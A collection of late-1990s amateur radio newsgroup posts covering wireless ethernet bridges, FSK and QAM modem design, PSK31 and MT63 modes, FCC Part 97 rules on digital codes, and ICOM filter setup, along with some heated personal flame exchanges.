receive any data transitions for 1500 x 8 = 12000 bit periods. This
is (more or less) impossible to decode.
You'll also lose DC balance, which can upset AFC, etc.

Hi Jim,

I agree about that last statement. If you could make a cheap
commercial quality "wireless ethernet bridge", it would sell like
hotcakes. When I used to work for a microwave comms company, it
seemed every second customer request would be for such a product. We
could sell them microwave links for 30 phone channels (this was one of
our main products), but we had nothing for their computer networks.

The typical customer would be a small or medium sized business that
had a head office, and a new, small office within a few km of head
office. They wanted to extend their PABX and their computer network
to the new site, without having to pay phone company rates on data
lines.

I did some market research, and came up with the following
conclusions:

1. The box at each end will simply plug into the ethernet and need no
configuration. Customers don't seem to like configuring bridges.

2. You really don't need 10Mbps. *No* 10base-anything ethernet can
equal this figure, even asymptotically. You can get pretty close in
bursts with a modern server fed from an ethernet switch though. This
would not be a typical application.
I contend that your "file sharing and streaming on the LAN as well as
Internet access" would suffer little subjective degradation at even
1Mbps. Well, maybe. There will definitely be times when you notice
the difference, but most of the time you won't.
It helps to filter out packets that don't need to traverse the link in
this case.

Most business users are just happy to have connectivity.
[I should point out that my research was done before web browsing
became a significant part of network traffic. Even so, all Internet
traffic for a small to medium sized company will get funnelled into a
single feed of typically < 1.5Mbps. Even ADSL (in practice) doesn't
get close to 10Mbps.]

2b. Even if you get 10Mbps, what happens when you connect to a
100BaseT network? Will you need 100Mbps then? Repeat argument with
1000BaseT.

3. It is desirable to not share collision domains across the two ends
of the link for three reasons:
a. A shared collision domain will limit the distance you can
transmit (due to the maximum delays allowable in the ethernet spec)
to a few km (IIRC). If you don't share the collision domain, you can
transmit over any distance.
b. This saves link bandwidth by not transmitting useless information
(which only matters if the link rate is < 10Mbps).
c. The need to send collisions across the link means that when the
link gets noisy (and they all do, at some time) then you will trash
the network at each end.

4. The conclusion was that you need a router, bridge or switch
(preferably with packet filtering) at each end, regardless of the data
rate. Since you can build one with a few chips costing perhaps US$40,
this wouldn't seem to be a problem.

Venture capital, anyone?

>the above mentioned items you PIRATE you! Bet you do!

The inference I draw from your argument is that Beezely's victimization is his fault as a consequence of inadequate software "protection", poor foresight or the very act of trying to support himself with the vulnerable fruit of his own creative labor.

An argument from guilt to justify uncivilized behaviour allows any behaviour by anyone.

Because I have committed theft, I should justify it for others? Because I have killed, I should condone it for others? Because I am guilty of breaking inumerable laws and rules that govern civilized behaviour, they are rendered worthless to others by my acts of anarchy? If civilized behaviour relied on adherence to the rule that the pot has no right to call the kettle black, we would still be in the Dark Ages, or worse. Regardless of how lawful or lawless many of us are, most of us have no use for anarchy and its consequences. I know that I am not at the top of the food chain and I never was, in my best days.

May you be the inheritor, soon, of the consequences your philosophy promotes. There is nothing that cannot happen to you that cannot be justified with a clear conscience, by others, using your logic. Reap what you sow. Bubba is looking for you.

Hi John,
Do you remember my post of a few days ago which described an
FSK 2Mbps X band full duplex radio? It used a channel spacing of
7MHz, and had -80dBc out of band Tx spectrum. This was legal for that
band in Australia (where it was designed). So you can definitely do
what you want without using too much bandwidth.
(This performance required filtering the baseband Tx signal before the
frequency modulator (an X band DRO). The Rx baseband signal was
cleaned up with comparators.)

I'm not sure what the FCC will allow, but in Australia there are
certain bands which do not require licenses if the transmit power is
below a certain level (something like 0dBm). This much power can get
your signal quite far if the dishes have enough gain. We just
happened to make dishes too, so they were just lying around.
Sometimes you get lucky ;-)

I know that the FCC have allocated some bands for low power spread
spectrum comms, for applications such as lans, etc. The Harris PRISM
chipset will do 11Mbps at 2.4GHz, but it might only just make it
across your 150' parking lot. You might do better with some decent
antennas.
http://www.semi.harris.com/prism/prism.htm
Why don't you get one (pair) of their evaluation boards?

If you don't want to use spread spectrum, I once designed a 38Mbps
full duplex radio modem for 15MHz wide channels. Don't try this at

home, kiddies! If I was doing it again, I would probably use some of the newer digital radio chipsets from Harris, Analog Devices or Graychip. They take all the fun out of the design :-)

Regards,
Allan.

Thanks Emil,
This was posted to amateur radio and homebrew newsgroups.
Do you really think John can just whip up a QAM64 modem with a soldering iron and some bits and pieces from around the lab?
QAM-x for x > 4 will require mountains of digital circuitry in both Tx and Rx. To design a "practical" QAM modem from scratch will take a small team at least a few months. Trust me, I've been there.
It will require adaptive equalisers in the receiver to cope with multipath across the carpark. Symbol timing recovery is a pain. You will need some sort of convolutional FEC (trellis coding) as well as Reed-Solomon if you want any sort of useable BER. The designers will need to be familiar with high speed ADC and DAC designs, know how to design high speed digital logic, need a high speed digital CRO for debug, be able to handle high pin count surface mount chips, have an FPGA or CPLD development environment, etc.

FSK has the advantages of robustness, simplicity and low cost. It also interfaces simply to manchester encoded signals.
FSK starts to sound quite attractive when you take this into account.

Emil, I notice you work for Siemens in Austria. Do Siemens make QAM chipsets? I didn't find any on the web.

Allan.

Scott, most of the "chirping" signals you hear on the bands these days
are pactor rather than amtor. Amtor activity is diminishing.

Pactor has a faster "chirp" rate than amtor. If your PK232 will do
pactor I'd try that first. I think there are upgrade ROM chips still
available to add pactor to the PK232 if you have an older one. You'll
find signals between .065 and .080 (i.e. 14.065 to 14.080) on most
bands.

Hi John (again),

In other posts in this thread, I mentioned that the Tx bandwidth can
be reduced by pre-filtering the baseband signal.

The bandwidth can also be reduced by dropping the baud rate, by
increasing the number of bits per symbol, without the complexities of
a QAM modem. With a simple circuit inside a small GAL, you could
perhaps go to 4 level FSK, which would give 2 bits / symbol, and halve
the bandwidth. (Actually, this would reduce bandwidth by a factor of
4 from the original manchester encoded signal.)
You could go to higher levels of M-ary FSK, but anything beyond 4 will
probably require a digital slicer in the receiver. Four levels can
easily be decoded with a simple analog comparator circuit with
adaptive thresholds.

You will also need to scramble the data, to get around the threshold
drift problem on packets with long runs of 0s or 1s. The receiver
will use a self-synchronising descramber.

Symbol timing recovery will likely use transition detectors on the
comparator outputs and a PLL. You could do this digitally (if you
have a reference clock high enough) or you could do it with an analog
PLL.

Lets compute the baseband bandwidth for 4 levels at 10Mbps.
Assume rolloff factor in RRC filters gives 40% excess bandwidth.
Symbol rate = 5MHz.
Baseband Bandwidth = 3.5MHz

This really is a simple, cheap circuit! Reply if you want more
details.
Actually, I'd love to do the full design. Unfortunately my current
employers would probably not like it if I suddenly stopped designing
frame relay processors and started designing modems.

Ah, PACTOR has a slower "chirp rate" than AMTOR.
AMTOR sends triplets, PACTOR uses longer frames.
PACTOR uses a higher symbol rate, but because there
are many more symbols per frame, the "chirp rate" is
lower.

Though I'd also say that if Amtor is all you can do, just go ahead
and call CQ. I'll answer either one of the signal was good.

Yes, I'm in the same boat -- my current employer would look dimly on a long-term research project to develop a multi-level FSK modem when I'm supposed to be writing software. :-) That Harris link from your other post looked intriguing, looks like they have a lot of good app notes that might help me out even if I don't cough up the $$$$ for their eval boards.

That would certainly be nice, if somebody had a black box chip to do
it. ECL in -> FM modulation signal out, and vice versa. But as noted
before, I don't get paid for this stuff. I only want a decent game of
Quake, not a doctoral EE research project. :)

If you have a PK-232 without a mailbox/Pactor, Or a PK-232MBX without Pactor
the upgrade options are as follow:

PK-232 to PK-232MBX is $100
PK-232 to PK-232/DSP is $150, that provides MBX, PacTOR, Gateway and a DSP
frontend.

Pk-232-MBX to DSP etc is $125.

I would suggest the PK-232/DSP upgrade, DSP ourperforms any analog TNC hands
down.

> If Not, how should I do?

Radio Fax and telephone fax (G3 standard) are completely different systems
and therefore you can NOT use JVCOMM32 or other fax software to decode
the fax recordings.

The only way could be to write a software on your own, because the
G3 stadard is a well documented standard.

You could make a lot of money with such a programm since many
people a keen on monitoring fax transmissions (such as you can
receive via radio on the INMARSAT satellites, for example)

There are some very expensive systems available for secret
services and/or security organisations. But most of them
are not affordable for "normal" people....

A simple way could be to use a modified telephone modem
together with a homemade software ??? ;-)

642. PSK31, ICOM, and Split freq operation

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-03 00:00:00 UTC
From: flanders@groupz.net
Message-ID: <36b8a56b.611563@nntp.groupz.net>
Source record: 19942

Anybody using split on a 756 or similar ICOM to allow use of the cw filters in the receive mode and still transmit on USB? I have never used the split mode and need help setting up for optimum PSK31. I have dual 500 Hz filters in the CW mode and want to be able to use them if possible.

What is the best way to set this up?

Also - does the transmit freq track with the received freq when you tune the rig? The way I have it now they don't track.

What freqs are used on the 80, 40, and 30 Meter bands?

Jerry W4UK

Source record: 19943

Jerry,

FWIW, the IC 706/746/756 and some other ICOM rigs can be used in SSB mode with narrow CW/RTTY filters by cheating the setup menu and defining the filter as an SSB narrow filter and then selecting the frequency of the tone(s) and adjusting the IF shift (or PBT) to center those tone or tones (PSK or RTTY) within the filter passband.

Please, never set your path to "wide, relay"! If the wide hears you
and digipeats you then every mobile/home station with earshot will
also digipeat your packet and make the channel unusable.

"relay, wide" is perfectly acceptable while you are learning the
topography of the network in your area or for a stand-alone tracker.
If you send a packet out from your APRS software you should see your
receive of the digipeat on your screen.

Email me directly if I can be of any assitance...

The DSP board inserts the DSP filters before the analog filters. The processed signal then passes through the analogue section. There are jumpers for selecting a 100/200 Hertz CW filter as well as a jumper for LO/HI (European or North American) tones.

Engineering showed a bit of cleverness when they designed a 100/200 baud twinpeak brickwall filter for PacTOR that switches automatically when the PacTOR rate changes.

Once you try a DSP filter, you will never go back to analog designs...

Hi,
You guys are missing out on all the fun! I've been working REAL DX with PSK31 for about six months now. I have no trouble with short path to Europe, although long path is often difficult due to excessive doppler.

I work OH/DK4ZC almost daily, running 20W on a path of around 20,000 km.

If you want some REAL DX, look on 14.070 MHz or thereabouts from 0800 - 1000z most days. There are a dozen VKs and a few ZLs waiting for you!

By the way, if you strike one of those days when you can't work DX PSK31 because of Doppler, try MT-Hell. It works just fine through the most terrible junk, although it is not as sensitive as PSK31.

(See members.xoom.com/ZL1BPU/Contents.html for all the info you ever wanted about MT-Hell.)

73,

Murray ZL1BPU

Hey! another EVM user!

Steve, welcome to the clan. I look forward to working you on:

PSK31
MT63
MT-Hell
Feld-Hell

I am active most nights 0800 - 1000z. I call CQ on MT-Hell and
Feld-Hell on 14.0635 LSB, and PSK31 at around the usual
spot, 14.070 carrier.

MT-Hell is great when PSK31 is unusable due to excessive doppler,
and fun to use any time.

Steve, in case you need help, I keep a master list of EVM users. If you want
a copy,
let me know, or visit the MT63 web site at
http://members.xoom.com/ZL1BPU/MT63/MT63.html

I also run the Hellschreiber Web site "Fuzzy Modes", at
http://members.xoom.com/ZL1BPU/Contents.html

and two email reflectors (for Hell and MT63), which you can
subscribe to by sending an email to Hellschreiber-subscribe@onelist.com
and MT63-subscribe@onelist.com. Edu EA2BAJ runs a PSK31 reflector
at psk31@bipt106.bi.ehu.es.

Let's know if you need help getting the EVM going.

No, we've been far too busy having fun with PSK31,
working REAL DX at zero cost! Forget Pactor and
all that - PSK31 is designed for real person - person
contacts, is fast, slick, and VERY sensitive.

(Not that I wouldn't mind having a Hal P38 - but a zero
cost sound card program is pretty attractive)

Hi,
I am putting together a "Call Book" of folk who use a Motorola
DSP56002 EVM for amateur radio purposes. The list currently
has almost 40 callsigns. I have names and email addresses for
all but a couple of them, but won't pass any of them out without
individual approval.

You can check the current Call Book at:
http://members.xoom.com/ZL1BPU/MT63/Users.txt

If you'd like to be put on the list, or want to be sure that you ARE on
the list, or I have your details wrong, send me an email.

I would PARTICULARLY like to hear from anyone developing software
for the EVM for amateur radio.

You will hear many of the EVM users on the air, running:

PSK31 (excellent person - person RTTY replacement - very sensitive)
MT63 (awesome fast indestructable multi-tone wideband HF mode)
Feld-Hell (traditional ASK Hellschreiber, excellent on higher bands)
MT-Hell (frequency domain Hell with great rejection of QRM and QRN)

73,
Murray ZL1BPU

Murray, Steve is in the US so he can't run MT-Hell on that
frequency. It is a F2C emission, and that's only allowed on
the US phone/image subbands. Ref 97.305(c).

He can't run PSK31 at all on HF because US regulations
require the use of specific enumerated codes, and the
varicode used isn't one of them. Ref 97.307(f)(3).

IMHO, the ARRL needs to petition the FCC to modernize
its emissions regulations so these operations could be
conducted legally.

I have a dat tape recorder (Denon DTR 80-p) that I use for logging
and code practice.
Although I can only copy up to 10 wpm and most of the code is over
20wpm! on 10-80, would like to find some way to slow the tape so I can
copy what's on,.. for code practice, since the tape is digital it
shouldn't matter what speed it's going, can I download small portions of
tape at a time into a computer, than control the speed of the morse with
the computer?

>Radio when that was announced, huh?
>

Sorry Charlie (or is it Baby Huey?)

There are no "amateur telephones" used on TexNet or any other networks that I am involved with.

We don't use any 'telephone' modems on any of the TexNet nodes. You know that.

You harp on these issue because others who don't know the facts might listen to you and that it isn't about what is good for amateur radio, but all about personal attacks against a few that you believe did you wrong at some point in the distant past.

I sure wish you would get your facts straight.

The networking technology that TAPR is currently working on doesn't utilize 'telephone' modems. It is all RF based. Radios talking to other radios. We aren't building telephone modems into any of our projects. No sir Huey.

Like the Spread Spectrum Radio Projects
http://www.tapr.org/tapr/html/taprfhss.html

or like some of the future 56K-3Mbps stuff that is in the pipeline.

or the PIC-Encoder project
http://www.tapr.org/tapr/html/pice.html

All RF based stuff.

But then again, when did you ever really worry about what is right over what sounds good to those that don't know what the real history or facts are.

Cheers - Greg Jones, WD5IVD

But - doesn't section 97.309 (b) provide for this type of operation?
As I read it (quoted below), it appears to allow any code not intended
to obscure the transmission. A reading of the previous few paragraphs
(97.309, a) seems to argue the rules are not meant to prevent
non-spedified codes as long as they are not "codes or ciphers". Looks
like it might be wise to record all outgoing transmissions so that the
last paragraph below is satisfied (and also ID in CW so they can
contact the transmitting station if necessary).

I am just getting on psk31 and look forward to more operations unless
this is truly restricted per your argument. Comments?

Jerry W4UK

97.309 RTTY and data emission codes.

b. Where authorized by 97.305(c) and 97.307(f) of this Part, a
station may transmit a RTTY or data emission using an unspecified
digital code, except to a station in a country with which the United
States does not have an agreement permitting the code to be used. RTTY
and data emissions using unspecified digital codes must not be
transmitted for the purpose of obscuring the meaning of any
communication. When deemed necessary by an EIC to assure compliance
with the FCC Rules, a station must:

Cease the transmission using the unspecified digital code;

Restrict transmissions of any digital code to the extent instructed;

Maintain a record, convertible to the original information, of all
digital communications transmitted.

Source record: 19865

You are right, Jerry. 97.305 states only authorized codes can be used
and 97.309 authorizes any code so long as it is not intended to obscure
the transmission. By making the code and the sofware available to the
public there can be no intent to obscure the transmission. 97.307
identifies the frequencies to be used for the differenct modes and data
is one of them.

As I read it, you don't have to keep a written copy of the
communications *unless* specifically asked to do so by the FCC.

As I recall, this change was pushed by the ARRL some years ago when we
had problems with U.S. stations not being permitted to get on packet.

>contact the transmitting station if necessary).

97.309(b) does permit unspecified codes. However, 97.305(c) attaches
note (3) to all of our HF bands. That's 97.307(f)(3), and it says that *only*
the specified codes in 97.309(a) can be used on those bands. Unspecified
codes are only allowed on bands marked (6) or (7). Those are the VHF
bands 2m and above.

Note that the *emission* G1B is fine. We can use that. But we can't use
varicode. We'd need to use straight ASCII or Baudot instead to be legal.
This is an archaic limitation, and should be removed from the rules.

The 100BaseT that HP came up with that runs over cat3 wire uses all four
pairs, but _no_one_ uses this, everyone uses the 100BaseTX I believe
it's called, which is just the same two pairs as 10BaseT.

HELP,

Can some one send me (if they have it) the script file that will allow the TNC 2 to talk with Procomm Plus in host mode. Years ago I remember seeing that somewhere and cannot find it.

Please if you have it send it to me at WB4QOJ@ROAVA.NET

THANK YOU

The best place for MT63 information is the MT63 web site
(well what a surprise!). You'll find it at:

http://members.xoom.com/ZL1BPU/MT63/MT63.html

It just so happens that I run the site, so if you have any
questions about the mode, let me know.

As to the designator, well.....

64 tones, spaced 15.625 Hz, each modulated with BPSK,
at 10 bps, so what does that make it?

73,
Murray ZL1BPU

Hi folks,
The MT63 Web site at http://members.xoom.com/ZL1BPU/MT63/MT63.html
has just been upgraded.

It now includes the "official" code for the new MT12 and MT13 modes with CW ID and increased interleave.

For those that are unaware, MT63 is an awesome HF digital mode, that is just about indestructible. It works well when other modes give up when the QRM or QRN are bad (or both!), and survives quite significant jamming. The throughput is 100 WPM, good or bad conditions alike.

For those (especially in the USA) who are frightened to run advanced digital modes because they have not been blessed by the ARRL and/or the FCC, gee we feel sorry for you! MT63 is public domain, and although coded, is not encrypted.

You need a Motorola 56002 EVM to run MT63. A list of EVM users is available at the MT63 web site.

73,

Murray ZL1BPU

672. Tech. Help with tuning resolution mod

I have been trying to figure out a way to get 1khz resolution with
the YB305's tuning steps. Currently, it has 5khz steps on shortwave. I
remember the YB400 had a button below the tuning buttons so you could choose 1
or 5 khz. I am adding a bfo circuit to the YB305 and would like to get the
1khz resolution on the 305 if at all possible. If you have any ideas on this I
sure would
appreciate. Thanks, Rick

Gary:

The FCC clarified the meaning of the rules in an Order released October 11, 1995 (December 1995 QST, p 84). The Order (DA 95-2106) reads in part: "This Order amends Section 97.309(a) of the Commission's Rules...to clarify that amateur stations may use any digital code that has its technical characteristics publicly documented. This action was initiated by a letter from the American Radio Relay League, Inc. (ARRL)."

PSK31 meets the requirement of public documentation. If there was any question about its legality on HF, we wouldn't be running test transmissions at W1AW as we are currently.

I can fax or mail a complete copy of the 1995 order to you, if that would be helpful.

I'm afraid this is not an answer to your question directly, but really a supplemental question. (As I'm pretty new to using a GPS - having only acquired the unit a couple of days ago - please forgive my ignorance.)

Exactly what constitutes RTCM DGPS correction data? Is it simply the audio stream from a suitable receiver, in which case presumably any receiver capable of receiving DGPS transmissions will suffice. Or, is it a data stream, which would indicate that some "interface" and/or processing capability is required between the receiver and the GPS unit?

Regards,

Darrell, NR3Y/W6.

The amateur radio experts on this subject hang out over on TACGPS on the TAPR system.

http://www.tapr.org/cgi-bin/lyris.pl?site=tapr&enter=tacgps

You can also search the mail archives if you want:
http://www.tapr.org/cgi-bin/wilma/tacgps

Also TAPR has a DGPS kit that you can then output the RTCM on a local amateur freq if you want.

Visit: http://www.tapr.org/tapr/html/Fdgps.html

Cheers - Greg

I put on my ITU emissions designator glasses and looked at
this yet again. I now think it is J7B. The subcarriers are not
phase modulated onto the main carrier, so G is inappropriate
as the primary designator (G would be Ok if there were only
one carrier, IE as in PSK31). The subcarriers are themselves
phase modulated, but that's irrelevant to the primary designator.
7 seems correct for the second designator since there are multiple
subcarriers. The third designator is B rather than D if the useage
is intended to be human readable text rather than computer data.

That would be interesting. The only clarifying language I see in
Part 97 is 97.309(a)(4) which allows transmission protocols
such as PACTOR, GTOR, Clover II, etc, but doesn't allow the
underlying information coding to be other than the specified
ISO646 (ASCII), CCIR 625 (AMTOR/SITOR), or Telegraphic
alphabet number 2 (Baudot). With PACTOR, GTOR, Clover II,
etc, the information coding is still ASCII, albeit embedded in
FEC or Huffman compressed. With PSK31, it is *not*. It is
varicode. Varicode is not one of the specified telegraphic
alphabets in 97.309(a)(1)(2)(3).

Let's look at the exact text added to Part 97.309(a)

"(4) An amateur station transmitting a RTTY or data emission
USING A DIGITAL CODE SPECIFIED IN THIS PARAGRAPH
[emphasis added] may use any technique whose technical
characteristics have been documented publicly, such as CLOVER,
G-TOR, or PacTOR, for the purpose of facilitating communications."

This says transmission techniques, FEC, protocols, etc can be used
to facilitate transmission of the *specified* codes listed in the paragraph.
It doesn't say that *unspecified* codes can be used, published or not. If
the FCC contradicts *their own language* in their letter, I would definitely
like to see it.

Note that if they do, it completely negates the requirement for specified
codes and the reference to them in Part 97.307(f)(3). I'd certainly like to
see that section stricken. But the quoted Part 97 language doesn't say that.
It still requires the use of the specified codes listed in 97.309(a)(1)(2)(3).

There are at least 4 levels of coding used in PSK31.

1) Information coding: varicode telegraphic alphabet
2) FEC coding: none, or convolutional trellis in QPSK mode
3) Protocol coding: manual
4) Transmission symbol coding: PSK or QPSK

Part 97.307(f)(3) authorizes 4. Part 97.309(a)(4) authorizes
2 and 3, *but not 1*. The only out that I see is to claim that
varicode is compressed ASCII, but that would be stretching
the language all out of shape (and disagreeing with the author's
published documentation). It is lookup table compatible with
ASCII, but then so is any other telegraphic alphabet representing
the roman character set. If that's what they mean, then 97.309(a)
(1), (2), and (3) are moot and should be stricken entirely and
replaced with a blanket statement authorizing any digital code
that has been publicly documented. (I'd wholeheartedly support
that.)

That's the direction the League has been pursuing with the FCC. The 1995 Order specifically covers CLOVER, G-TOR and PACTOR and states that these modes " . . . do not conflict with our [FCC's] objective of preventing the use of codes or ciphers intended to obscure the meaning of the communication." ARRL Legal Counsel Chris Imlay has written the FCC requesting that the provisions of the order be extended to cover PSK31 as well. I don't have the actual FCC response in hand, but I've been informed that they intend to treat PSK31 in the same fashion. In fact, one individual at the FCC (I don't have his name) gave the green light when we wanted to fire up PSK31 at W1AW.

As you say, however, the more efficient course of action would be a rewrite that would automatically authorize any publicly documented digital code. It would certainly nip these issues in the bud (and save Chris Imlay the trouble).

That's reassuring. I hope that you'll publish the contents of the written
opinion in QST, and perhaps post it on the ARRL web as well. Having
that in hand is adequate response to the problem language in 97.309.

We feel sorry for us too. :-)

It does appear that the FCC will allow these usages, however, even though
they are in direct contradiction to the language in Part 97. It appears to be
a case of "do what we meant, not what we said".

Apple II software available on AOL - connect with an AOL user
and you can get terminal software that you can then use
with any of the popular TNCs.

PacCom makes a very small unit that is good for laptops
Kantronics KPC-3 is another sure bet

Also, a Kenwood's TH-D7a packet controller in a radio is a good choice,
but missing a few of the features found in a regular TNC. - Also
restricts you a little on frequencies if you want to use business freqs.

Good luck,

Walter

692. Re: Why not 500 Hz Filter for PSK?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-06 00:00:00 UTC
From: Seth Miller <seth.miller@NOSPAMworldnet.att.net>
Message-ID: <36BBEA59.534D429C@NOSPAMworldnet.att.net>
Source record: 19796

Hi Jim.

I am using the 500 Hz filter in the 455 IF, not the 9 MHz. And FWIW, looking at the block schematic of the 746, it appears that it has the same sort of 4th IF to DSP arrangement as in the 756.

No problem using the 500 Hz '455' IF filter, in fact it helps quite a bit in keeping the Pactor out, but tuning high or low doesn't help. It is necessary to either shift the IF with the PBT, or set the PSK tone frequency to be centered in the filter passband (1500 Hz works fine). Either method will permit use of the 500 Hz 455 filter, but simple tuning above or below the operating frequency won't help as it does nothing to center the PSK signals in the filter passband.

This all relates to the 455 IF of course, as I do not have any optional 9 MHz IF filters installed.

I'm not sure where you are trying to go with this, Greg. Are you actually trying to deny that the TexNet folks are planning on utilizing Non-Ham means of communication to link TexNet nodes? If so, maybe you better have a word with Tom McDermott, who said exactly that in the May '98 issue of the TPRS Q-Report.

Maybe next time you decide to weasel or lie, Greg, maybe you should try to find something which is not so well documented.

Moron.

>You harp on these issue because others who don't know the facts
>might listen to you and that it isn't about what is good for amateur radio,
>but all about personal attacks against a few that you believe did you
>wrong at some point in the distant past.

No, actually I "harp" on this issue because the stupid practices you have promoted have done a lot of harm to the Amateur Packet Radio network. I intend to put a stop to that particular source of problems, and if you happen to get in the way that's just too damn bad.

I'm not the only Ham who is tired of seeing the Packet net destroyed by your LandLine Lid buddies.

>
>I sure wish you would get your facts straight.

I wish you cared about Amateur Radio, and your fellow Hams. - Or that you were a good deal more intelligent. Either or both would be just fine.

>
>The networking technology that TAPR is currently working on doesn't
>utilize 'telephone' modems. It is all RF based. Radios talking
>to other radios. We aren't building telephone modems into any
>of our projects. No sir Huey.

But YOU have promoted "Amateur Telephone" on many many occasions, and still do so when talking things over with your LandLine Lid buddies and think you can get away with it.

TAPR was operating long before your sorry LandLine Lid ass came along, and it will do just fine after you have hit the trail.

Hopefully you'll be making that move very soon. I'll be glad to help you along.

Why should Hams have a lying weasel running TAPR? Hams should have more dignity than that.

For more information about Greg's lies and the leadership gap in Amateur Packet Radio which Greg has become the "poster boy" for, see my article "Amateur Packet Radio's Malaise" at my web-site. It can also be viewed at:

696. Re: Why not 500 Hz Filter for PSK?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-06 00:00:00 UTC
From: Ron Higgs <erhiggs@flash.net>
Message-ID: <36BC5520.11840AAC@flash.net>
Source record: 19800

FWIW, I use a 500hz. 9 mhz. filter with the 746 in LSB mode and have the (inner knob - 9mhz.) PBT moved to the right to two o'clock and the tone frequency set at 1khz. (so that tone freq. is readout + 1khz for convenience). Selecting the tone/tones (PSK/RTTY) and centering the IF so that the filter is optimal is best done with a soundcard and a RTTY program or (better) he use of the freeware program GRAM42 available from http://www.monumental.com/rshorne/gram.html. Use of the USB mode indicated that the tones would have to be much higher to fall in the adjusted IF passband.

Regards, Ron

697. Re: Why not 500 Hz Filter for PSK?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-06 00:00:00 UTC
From: flanders@groupz.net
Message-ID: <36bc6466.3235311@nntp.groupz.net>
Source record: 19801

(CC'ed to psk31 mailing list.)

FYI: I have the FL-100 and FL-52A 500Hz RTTY/CW filters installed in my IC-756. To use them on psk31, I went to the setup menu and told the menu that they were the FL-223 and FL-222 pair (narrow SSB filters). I also set the CW-N and RTTY-N modes to use these "new" filters. (Thanks, Ron Higgs and ZL1BPU for the tips on doing all this.)

I can now operate all modes RTTY, CW, and psk31 at 1000 Hz with the 500 Hz filters working for me. SInce the rig shifts those filters around according to what it _thinks_ is the appropraite offset, I have to "undo" the shift by use of the PBT knobs. I have found the appropriate PBT settings to be:

Mode PBT Knob Position*
RTTY-N inner 4
RTTY-N outer 8
CW-N inner 4
CW-N outer 8
psk31 inner 8 (USB-N mode)
psk31 outer 11 (USB-N mode)

* (1=full CCW, 11=full CW)

With my casdaded filters, I can narrow any of the passbands by tweaking the PBT positions in the usual way. For instance, I can use psk31 at 9 and 10, with about 200 - 250 Hz passband. I can actually see it narrow down on the waterfall display as I tweak it.

You should be able to use a single filter with the above adjustments, but cascading them as I have done gives you the additional advantage of narrowing the passband smoothly beyond what either filter is capable of. Incidentally, I got both filters on rec.radio.swap for much less than what dealers get for the FL-52A alone.

I have a better question, Charlie. Why does everyone who reads this
newsgroup have to put up with your sorry, repetative, boring bullshit ?
Hams should have more dignity than that.

Get a life, Charlie. Your SYSOP days are over. Nobody gives a rats ass
about your non-existant 'global packet network'. It doesn't exist. If it did,
you would be on PACKET preaching the Gospel of 1200 Baud. But you
aren't. You are here. Probably your mo' dumb connects at 1200 baud, but
unfortunatly for the rest of us, you are here. I know, don't tell me, you
aren't a Land Line Lid. You connect to the internet with a Baycomm
modem and your Radio Shack HT, right ?

Go read some Pactor mail. Your sister Cranky Hanky is running around
slamming your favorite new toy, Flexnet.....

Find a woman, Charlie. Stop sleeping with your MFJ TNC. Be all that you can
be, Charlie - do something constructive with your life - set up two Flexnets and
two sound cards and forward yourself some bulletins across the basement.

I use goldwave which you can download at www.goldwave.com
You can record the sounds with the sound card directly into the program and the change
the playback rate to whatever speed you want.

I have a dat tape recorder (Denon DTR 80-p) that I use for logging
and code practice.
Although I can only copy up to 10 wpm and most of the code is over
20wpm! on 10-80, would like to find some way to slow the tape so I can
copy what's on,.. for code practice, since the tape is digital it
shouldn't matter what speed it's going, can I download small portions of
tape at a time into a computer, than control the speed of the morse with
the computer?

Yep, the soundcard works as a modem. I've had success with a very
simple setup using a 2M HT (FT411E) at 1200bps.

You need to connect the audio out from the sound card into the radio
(ideally to the modulator, but audio is fine at 1200), and audio out
from the radio to the Line In on the sound card (agin, this works for
1200 bps, but you'll probably need to grab the discriminator output from
the radio for higher speeds).

The other hardware bit is the PTT line, which can be set to trigger via
a serial or parallel port. Some circuits for this may be found at:

http://www.ife.ee.ethz.ch/~sailer/pcf/ptt_circ/ptt.html

A very solid overview of how it all fits together is located at:

http://metalab.unc.edu/LDP/HOWTO/AX25-HOWTO.html

Those are signals from Russian navigation sats. There was a decent article
in Popular Communications or Monitoring Times a couple months ago on the
signals. I will see if I can round up the author and find the article to
forward to you.
Not sure if they are decodable though.

I don't think you can interpret it that way. You have multiple
angle modulated subcarriers amplitude modulated onto a
single (suppressed) main carrier, so 7 is the proper designator.
If you want to treat it as a single analog composite signal, then
you'd have to use J3B. But you can't do that because the tones
have discrete spacings, and thus aren't analog, so that's
inappropriate too. A case where that would be appropriate is
FAX, which is J3C.

J2B is functionally the same as G1B, and can be used
interchangeably with it, just as J2A and A1A can be used
interchangeably (most modern rigs actually generate A1A
via injecting a tone in the modulator, so they can also be
called J2A, but the result is functionally equivalent to AIA
on the air).

G1B/J2B describes PSK31, but certainly doesn't describe
MT63. The multiple tones make it J7B. (You can't call it
G7B, though that's tempting to do, because the subcarriers
aren't phase modulated onto a main carrier. There doesn't
appear to be a primary designator for multiple independent
phase modulated carriers, so equivalences of the AIA/J2A
sort aren't possible.)

Exactly. If you start promoting "Amateur Telephone" and use Non-Ham links to "route around", circumvent, or replace attempts by Hams to use Radio, I will label you a "LandLine Lid", and point out your thoughtless, destructive behavior to your peers.

Count on it. We most certainly do not need more LandLine Lids. We need more Hams.

What you do is your lookout, not mine. When you act in a way that harms and undercuts Hams trying to use Radios though, I'll point out your Lid-Like behavior for what it is.

Count on it.

Be a Ham!

Which makes things interesting; the Australian Communication
Authority's web site doesn't mention 7 for the middle digit
(only 1, 2, 3 and 8), and so J7B isn't listed in the allowed
modes for HF..

The multiple subcarriers are produced by modulating the main
carrier with a single audio signal, though, so perhaps they
are not really subcarriers at all; hence J2B would apply.

Hi Seth,

I was just about to try your trick on my IC-756. Since you are having the problem with a 746 I looked in my 756 service manual to check it out;

The "9" Mhz filters are as follows;
MODE Frequency B/W
SSB 9.0115 2.4 Khz
CW, RTTY 9.0106 .5 Khz Notice that this IF's center freq
is 900 Hz LOWER than the SSB IF freq.
AM 9.0100 9 or 15 Khz
FM 9.0115 15 Khz

It would appear that the that if you used a "9" Mhz CW filter that the third IF ("455") would end up 900 Hz HIGH (i.e. centered at 455.9 kHz instead of centered at 455 kHz). In the 756 there is a final IF (4th) at 15.625 kHz that is sent to the DSP circuits. If the 3rd IF ("455") is .9 kHz high then the 4th IF ends up at 16.525 kHz. This will certainly NOT work out!

It would appear that a 500 kHz "455" filter would work OK since they are all centered at 455 kHz. And guess what, they cost about twice as much as the "9" Mhz filters (naturally)!

